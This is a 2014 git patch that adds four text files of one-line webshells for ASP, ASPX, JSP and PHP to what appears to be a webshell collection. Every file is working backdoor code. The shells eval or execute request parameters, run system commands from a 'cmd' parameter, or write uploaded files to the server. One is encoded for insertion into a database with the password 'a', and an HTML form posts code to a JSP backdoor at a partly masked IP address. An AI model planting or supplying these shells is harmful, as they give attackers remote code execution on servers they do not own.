From cf5003d2a2d05340070ce99cdfdbf5a3f78736b7 Mon Sep 17 00:00:00 2001
From: tennc <tennc@126.com>
Date: Thu, 22 May 2014 08:41:53 +0800
Subject: [PATCH] add the word  webshell

---
 asp/ASP一句话02.txt   | 16 ++++++++++++++++
 aspx/ASPX一句话02.txt |  7 +++++++
 jspx/jsp一句话.txt    |  9 +++++++++
 php/php一句话02.txt   |  9 +++++++++
 4 files changed, 41 insertions(+)
 create mode 100644 asp/ASP一句话02.txt
 create mode 100644 aspx/ASPX一句话02.txt
 create mode 100644 jspx/jsp一句话.txt
 create mode 100644 php/php一句话02.txt

diff --git a/asp/ASP一句话02.txt b/asp/ASP一句话02.txt
new file mode 100644
index 0000000..79b6373
--- /dev/null
+++ b/asp/ASP一句话02.txt
@@ -0,0 +1,16 @@
+ASP
+
+<%eval request("sb")%>
+
+<%execute request("sb")%>
+
+%><%Eval(Request(chr(35)))%><%
+
+<%ExecuteGlobal request("sb")%>
+
+在数据库里插入的一句话木马
+
+┼攠數畣整爠煥敵瑳∨∣┩愾
+
+┼癥污爠煥敵瑳∨≡┩> 密码为: a
+
diff --git a/aspx/ASPX一句话02.txt b/aspx/ASPX一句话02.txt
new file mode 100644
index 0000000..4344044
--- /dev/null
+++ b/aspx/ASPX一句话02.txt
@@ -0,0 +1,7 @@
+<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
+
+< %@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>
+
+<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"]) ); }%>
+
+<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>
\ No newline at end of file
diff --git a/jspx/jsp一句话.txt b/jspx/jsp一句话.txt
new file mode 100644
index 0000000..ce4bc14
--- /dev/null
+++ b/jspx/jsp一句话.txt
@@ -0,0 +1,9 @@
+<%
+if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
+%>
+提交客户端
+程序后门代码
+<form action="http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp" method="post">
+< textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
+< input type=submit value="提交">
+< /form>
\ No newline at end of file
diff --git a/php/php一句话02.txt b/php/php一句话02.txt
new file mode 100644
index 0000000..43944be
--- /dev/null
+++ b/php/php一句话02.txt
@@ -0,0 +1,9 @@
+<?php eval($_POST[sb])?>
+
+<?php @eval($_POST[c])?>
+
+<?php system($_REQUEST['cmd']);?> 
+
+<?php assert($_POST[c]);?>
+
+<?fputs(fopen(c.php,w),<?eval($_POST[c]);?>)?>
\ No newline at end of file